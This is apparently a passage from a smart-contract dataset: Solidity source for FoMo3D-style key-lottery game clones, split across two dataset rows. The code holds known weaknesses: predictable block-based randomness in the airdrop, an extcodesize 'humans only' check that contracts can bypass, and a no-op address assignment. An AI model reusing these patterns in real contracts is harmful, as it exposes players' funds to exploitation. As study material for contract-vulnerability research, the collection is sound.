plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FEPevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, FEPdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(FEPdatasets.EventReturns memory _eventData_)
private
returns (FEPdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, FEPdatasets.EventReturns memory _eventData_)
private
returns (FEPdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(FEPdatasets.EventReturns memory _eventData_)
private
returns (FEPdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(7)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, FEPdatasets.EventReturns memory _eventData_)
private
returns(FEPdatasets.EventReturns)
{
uint256 _com = (_eth.mul(15)) / 100;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit FEPevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit FEPevents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, FEPdatasets.EventReturns memory _eventData_)
private
returns(FEPdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(27)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, FEPdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit FEPevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library FEPdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,582 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FomoSuper is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB2b3d6feAE1AB2af4a07Cf4C047D69aa01D809Aa);
address private admin = msg.sender;
string constant public name = "FomoSuper";
string constant public symbol = "FomoSuper";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
